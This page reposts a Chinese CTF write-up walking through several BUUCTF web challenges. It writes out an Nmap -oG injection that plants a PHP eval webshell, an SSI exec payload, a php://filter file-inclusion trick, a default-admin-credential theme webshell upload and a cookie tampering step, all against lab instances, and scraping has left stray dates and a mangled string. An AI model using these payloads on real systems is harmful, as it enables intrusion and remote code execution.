欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

2020-08-10

程序员文章站 2022-05-14 08:48:33
...

9号是个懒狗没做题

[GKCTF2020]老八小超市儿

2020-08-10

打开之后各种瞎点没有思路,大佬wp告诉我这种时候就要找管理后门,后门地址/admin.php,用户admin密码shopxo。

2020-08-10

登录之后主题插马,先下载一个默认主题,将马插到里面再上传

2020-08-10

之后从主页图片看到页面地址

http://8c45f2f9-5337-49d1-921b-2c712fe6aa66.node3.buuoj.cn/public/static/index/default/test.php

蚁剑连上

2020-08-10

根目录找到 一个假的flag

2020-08-10

然后看hint和auto.sh,看到auto.sh自动执行py文件打开看看

2020-08-10

2020-08-10

发现可以读取根目录,加上打开真flag的语句

2020-08-10

之后在flag.hint看到flag

2020-08-10

[网鼎杯 2020 朱雀组]Nmap

这题和之前online tool类似

2020-08-10

直接传payload,这里传.php被过滤了于是传phtml

127.0.0.1 ' <?= @eval($_POST["ta3shi"]);?> -oG test.phtml '

试着连一下

2020-08-10

成功,扫一下目录

2020-08-10

拿flag

2020-08-10

[BJDCTF2020]EasySearch

存在.swp泄露源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'aaa@qq.com#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

验证密码的md5值前六位等于'6d0bc1'成功之后创建一个shtml文件地址存放在响应头里

写个验证密码的脚本

from hashlib import *
for i in range(1,100000000):
        if (md5(str(i)).hexdigest().startswith('6d0bc1')):
                print(i)
               

得到几个密码值,随便一个都可以

2020-08-10

2020-08-10

看到地址,然后这里username处存在ssi注入(引用自引用

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

传入payload

<!--#exec cmd="find / -name 'flag*'"-->

得到2020-08-10

cat最后一个即可

[BSidesCF 2020]Had a bad day

2020-08-10

试一下直接包含报错,试着

2020-08-10

发现自动加了php

2020-08-10

看看flag

2020-08-10

多了一个但是没有什么用,试试读取源码

category=php://filter/convert.base64-encode/resource=index
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
	include ($file . '.php');
	}
else{
    echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

那么最终payload,中间包含了一个index,第一次见到这种嵌套

category=php://filter/convert.base64-encode/index/resource=flag

2020-08-10

解码得到flag

[BJDCTF 2nd]Schrödinger

2020-08-10

翻译一下先(红字部分本来是白色的)

试一下输入http://127.0.0.1/test.php

check并抓包

发现cookie的dXNlcg经过base64解码是时间戳,改为dXNlcg=0发包

2020-08-10

去b站找到这个视频翻几页,暴打出题人

2020-08-10